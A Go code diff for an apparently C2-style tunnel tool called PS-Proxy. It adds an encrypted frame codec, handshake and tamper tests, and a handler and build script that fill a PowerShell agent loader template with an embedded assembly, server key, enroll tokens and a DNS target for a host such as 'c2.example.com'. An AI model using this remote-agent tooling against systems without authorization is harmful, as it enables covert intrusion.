-		if _, err := normalizeCertPin(pin); err == nil {
-			t.Fatalf("expected invalid pin %q to fail", pin)
+		t.Fatal(err)
 	}
+	store := staging.NewStore(time.Minute)
+	sess, err := store.Create("c2.example.com", 443, "server-key", "")
+	if err != nil {
+		t.Fatal(err)
+	}
+	server := NewTunnelServer(store, 2)
+	server.identityKey = key
+	srv, cli := net.Pipe()
+	defer cli.Close()
+	go handleAgent(srv, bufio.NewReader(srv), server)
+	if _, err := cli.Write([]byte("HELLO ")); err != nil {
+		t.Fatal(err)
+	}
+	secret := []byte("0123456789abcdef0123456789abcdef")
+	nonce := []byte("abcdef0123456789abcdef0123456789")
+	enc, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, &key.PublicKey, secret, []byte("PS-Proxy PSP1 session"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	helloTail := base64.RawURLEncoding.EncodeToString(enc) + " " + base64.RawURLEncoding.EncodeToString(nonce) + "\n"
+	if _, err := cli.Write([]byte(helloTail)); err != nil {
+		t.Fatal(err)
+	}
+	br := bufio.NewReader(cli)
+	line, err := br.ReadString('\n')
+	if err != nil {
+		t.Fatal(err)
+	}
+	parts := strings.Fields(strings.TrimSpace(line))
+	if len(parts) != 3 || parts[0] != "PROOF" {
+		t.Fatalf("bad proof line: %q", line)
+	}
+	serverNonce, _ := base64.RawURLEncoding.DecodeString(parts[1])
+	proof, _ := base64.RawURLEncoding.DecodeString(parts[2])
+	pubDER, _ := x509.MarshalPKIXPublicKey(&key.PublicKey)
+	mac := hmac.New(sha256.New, secret)
+	mac.Write([]byte(protocol.Magic))
+	mac.Write([]byte("HELLO " + helloTail))
+	mac.Write(serverNonce)
+	mac.Write(nonce)
+	mac.Write(pubDER)
+	if !hmac.Equal(proof, mac.Sum(nil)) {
+		t.Fatal("proof mismatch")
+	}
+	codec, err := protocol.NewSecureCodec(br, cli, secret)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := codec.WriteFrame(protocol.Frame{Type: protocol.FramePing, Payload: []byte("ENROLL " + sess.EnrollToken + " " + sess.ReconnectToken)}); err != nil {
+		t.Fatal(err)
+	}
+	f, err := codec.ReadFrame()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if f.Type != protocol.FramePong || string(f.Payload) != "OK" {
+		t.Fatalf("unexpected ack: %#v", f)
 	}
 }
@@ -0,0 +1,159 @@
+package protocol
+
+import (
+	"bytes"
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/hmac"
+	"crypto/rand"
+	"crypto/sha256"
+	"encoding/binary"
+	"errors"
+	"fmt"
+	"io"
+)
+
+const secureMaxRecord = MaxPayload + 1024
+
+type Codec interface {
+	ReadFrame() (Frame, error)
+	WriteFrame(Frame) error
+}
+
+type PlainCodec struct {
+	R io.Reader
+	W io.Writer
+}
+
+func NewPlainCodec(r io.Reader, w io.Writer) *PlainCodec { return &PlainCodec{R: r, W: w} }
+func (c *PlainCodec) ReadFrame() (Frame, error)          { return ReadFrame(c.R) }
+func (c *PlainCodec) WriteFrame(f Frame) error           { return WriteFrame(c.W, f) }
+
+type SecureCodec struct {
+	r                io.Reader
+	w                io.Writer
+	encKey, macKey   []byte
+	sendSeq, recvSeq uint64
+}
+
+func NewSecureCodec(r io.Reader, w io.Writer, secret []byte) (*SecureCodec, error) {
+	if len(secret) != 32 {
+		return nil, fmt.Errorf("secure codec requires 32-byte secret")
+	}
+	e := sha256.Sum256(append(append([]byte(nil), secret...), []byte("psproxy aes-cbc")...))
+	m := sha256.Sum256(append(append([]byte(nil), secret...), []byte("psproxy hmac")...))
+	return &SecureCodec{r: r, w: w, encKey: e[:], macKey: m[:]}, nil
+}
+func (c *SecureCodec) WriteFrame(f Frame) error {
+	var plain bytes.Buffer
+	var seq [8]byte
+	binary.BigEndian.PutUint64(seq[:], c.sendSeq)
+	plain.Write(seq[:])
+	if err := WriteFrame(&plain, f); err != nil {
+		return err
+	}
+	padded := pkcs7Pad(plain.Bytes(), aes.BlockSize)
+	block, err := aes.NewCipher(c.encKey)
+	if err != nil {
+		return err
+	}
+	iv := make([]byte, aes.BlockSize)
+	if _, err := rand.Read(iv); err != nil {
+		return err
+	}
+	ct := make([]byte, len(padded))
+	cipher.NewCBCEncrypter(block, iv).CryptBlocks(ct, padded)
+	rec := append(iv, ct...)
+	mac := hmac.New(sha256.New, c.macKey)
+	mac.Write(seq[:])
+	mac.Write(rec)
+	tag := mac.Sum(nil)
+	if len(rec)+len(tag) > secureMaxRecord {
+		return fmt.Errorf("secure record too large")
+	}
+	var lenb [4]byte
+	binary.BigEndian.PutUint32(lenb[:], uint32(len(rec)+len(tag)))
+	if _, err := c.w.Write(lenb[:]); err != nil {
+		return err
+	}
+	if _, err := c.w.Write(rec); err != nil {
+		return err
+	}
+	if _, err := c.w.Write(tag); err != nil {
+		return err
+	}
+	c.sendSeq++
+	return nil
+}
+func (c *SecureCodec) ReadFrame() (Frame, error) {
+	var lenb [4]byte
+	if _, err := io.ReadFull(c.r, lenb[:]); err != nil {
+		return Frame{}, err
+	}
+	n := binary.BigEndian.Uint32(lenb[:])
+	if n < aes.BlockSize+sha256.Size || n > secureMaxRecord {
+		return Frame{}, fmt.Errorf("invalid secure record length: %d", n)
+	}
+	rec := make([]byte, n)
+	if _, err := io.ReadFull(c.r, rec); err != nil {
+		return Frame{}, err
+	}
+	body, tag := rec[:n-sha256.Size], rec[n-sha256.Size:]
+	var seq [8]byte
+	binary.BigEndian.PutUint64(seq[:], c.recvSeq)
+	mac := hmac.New(sha256.New, c.macKey)
+	mac.Write(seq[:])
+	mac.Write(body)
+	if !hmac.Equal(tag, mac.Sum(nil)) {
+		return Frame{}, errors.New("secure frame authentication failed")
+	}
+	if (len(body)-aes.BlockSize)%aes.BlockSize != 0 {
+		return Frame{}, errors.New("invalid secure ciphertext length")
+	}
+	block, err := aes.NewCipher(c.encKey)
+	if err != nil {
+		return Frame{}, err
+	}
+	pt := make([]byte, len(body)-aes.BlockSize)
+	cipher.NewCBCDecrypter(block, body[:aes.BlockSize]).CryptBlocks(pt, body[aes.BlockSize:])
+	pt, err = pkcs7Unpad(pt, aes.BlockSize)
+	if err != nil {
+		return Frame{}, err
+	}
+	if len(pt) < 8 {
+		return Frame{}, errors.New("secure plaintext too short")
+	}
+	got := binary.BigEndian.Uint64(pt[:8])
+	if got != c.recvSeq {
+		return Frame{}, fmt.Errorf("secure frame sequence mismatch: got %d want %d", got, c.recvSeq)
+	}
+	f, err := ReadFrame(bytes.NewReader(pt[8:]))
+	if err != nil {
+		return Frame{}, err
+	}
+	c.recvSeq++
+	return f, nil
+}
+func pkcs7Pad(b []byte, block int) []byte {
+	pad := block - len(b)%block
+	out := append([]byte(nil), b...)
+	for i := 0; i < pad; i++ {
+		out = append(out, byte(pad))
+	}
+	return out
+}
+func pkcs7Unpad(b []byte, block int) ([]byte, error) {
+	if len(b) == 0 || len(b)%block != 0 {
+		return nil, errors.New("invalid padding length")
+	}
+	p := int(b[len(b)-1])
+	if p == 0 || p > block || p > len(b) {
+		return nil, errors.New("invalid padding")
+	}
+	for _, v := range b[len(b)-p:] {
+		if int(v) != p {
+			return nil, errors.New("invalid padding")
+		}
+	}
+	return b[:len(b)-p], nil
+}
@@ -0,0 +1,50 @@
+package protocol
+
+import (
+	"net"
+	"testing"
+)
+
+func TestSecureCodecRoundTrip(t *testing.T) {
+	c1, c2 := net.Pipe()
+	defer c1.Close()
+	defer c2.Close()
+	secret := []byte("0123456789abcdef0123456789abcdef")
+	a, _ := NewSecureCodec(c1, c1, secret)
+	b, _ := NewSecureCodec(c2, c2, secret)
+	want := Frame{StreamID: 7, Type: FrameData, Payload: []byte("hello")}
+	go func() { _ = a.WriteFrame(want) }()
+	got, err := b.ReadFrame()
+	if err != nil {
+		t.Fatalf("read: %v", err)
+	}
+	if got.StreamID != want.StreamID || got.Type != want.Type || string(got.Payload) != string(want.Payload) {
+		t.Fatalf("got %#v want %#v", got, want)
+	}
+}
+
+func TestSecureCodecTamperRejection(t *testing.T) {
+	c1, c2 := net.Pipe()
+	defer c1.Close()
+	defer c2.Close()
+	secret := []byte("0123456789abcdef0123456789abcdef")
+	a, _ := NewSecureCodec(c1, c1, secret)
+	go func() { _ = a.WriteFrame(Frame{Type: FrameData, Payload: []byte("hello")}) }()
+	lenb := make([]byte, 4)
+	if _, err := c2.Read(lenb); err != nil {
+		t.Fatal(err)
+	}
+	rec := make([]byte, int(lenb[0])<<24|int(lenb[1])<<16|int(lenb[2])<<8|int(lenb[3]))
+	if _, err := c2.Read(rec); err != nil {
+		t.Fatal(err)
+	}
+	rec[len(rec)-1] ^= 0xff
+	server, client := net.Pipe()
+	defer server.Close()
+	defer client.Close()
+	go func() { client.Write(lenb); client.Write(rec) }()
+	b, _ := NewSecureCodec(server, server, secret)
+	if _, err := b.ReadFrame(); err == nil {
+		t.Fatal("tampered frame should be rejected")
+	}
+}
@@ -14,7 +14,7 @@ type Session struct {
 	ID             string
 	Server         string
 	Port           int
-	CertPin        string
+	ServerKey      string
 	EnrollToken    string
 	ReconnectToken string
 	DNSTarget      string
@@ -43,7 +43,7 @@ func NewSecret(n int) (string, error) {
 	return base64.RawURLEncoding.EncodeToString(b), nil
 }

-func (s *Store) Create(server string, port int, certPin, dnsTarget string) (*Session, error) {
+func (s *Store) Create(server string, port int, serverKey, dnsTarget string) (*Session, error) {
 	id, err := NewSecret(18)
 	if err != nil {
 		return nil, err
@@ -56,7 +56,7 @@ func (s *Store) Create(server string, port int, certPin, dnsTarget string) (*Ses
 	if err != nil {
 		return nil, err
 	}
-	sess := &Session{ID: id, Server: server, Port: port, CertPin: certPin, EnrollToken: tok, ReconnectToken: reconnect, DNSTarget: dnsTarget, ExpiresAt: time.Now().Add(s.ttl)}
+	sess := &Session{ID: id, Server: server, Port: port, ServerKey: serverKey, EnrollToken: tok, ReconnectToken: reconnect, DNSTarget: dnsTarget, ExpiresAt: time.Now().Add(s.ttl)}
 	s.mu.Lock()
 	defer s.mu.Unlock()
 	s.sessions[id] = sess
@@ -113,7 +113,7 @@ type AgentTemplateData struct {
 	AssemblyB64    string
 	Server         string
 	Port           int
-	CertPin        string
+	ServerKey      string
 	EnrollToken    string
 	ReconnectToken string
 	DNSTarget      string
@@ -129,6 +129,6 @@ func AgentHandler(store *Store, tmpl *template.Template, assemblyB64 string) htt
 		}
 		w.Header().Set("Content-Type", "text/plain; charset=utf-8")
 		w.Header().Set("Cache-Control", "no-store")
-		_ = tmpl.Execute(w, AgentTemplateData{AssemblyB64: assemblyB64, Server: sess.Server, Port: sess.Port, CertPin: sess.CertPin, EnrollToken: sess.EnrollToken, ReconnectToken: sess.ReconnectToken, DNSTarget: sess.DNSTarget})
+		_ = tmpl.Execute(w, AgentTemplateData{AssemblyB64: assemblyB64, Server: sess.Server, Port: sess.Port, ServerKey: sess.ServerKey, EnrollToken: sess.EnrollToken, ReconnectToken: sess.ReconnectToken, DNSTarget: sess.DNSTarget})
 	}
 }
@@ -21,7 +21,7 @@ $template = Get-Content (Join-Path $RepoRoot "agent/loader/agent.ps1.tmpl") -Raw
 $template = $template.Replace('{{.AssemblyB64}}', $b64)
 $template = $template.Replace('{{.Server}}', '__SERVER__')
 $template = $template.Replace('{{.Port}}', '443')
-$template = $template.Replace('{{.CertPin}}', '__CERT_PIN__')
+$template = $template.Replace('{{.ServerKey}}', '__SERVER_KEY__')
 $template = $template.Replace('{{.EnrollToken}}', '__ENROLL_TOKEN__')
 $template = $template.Replace('{{.ReconnectToken}}', '__RECONNECT_TOKEN__')
 $template = $template.Replace('{{.DNSTarget}}', '__DNS_TARGET__')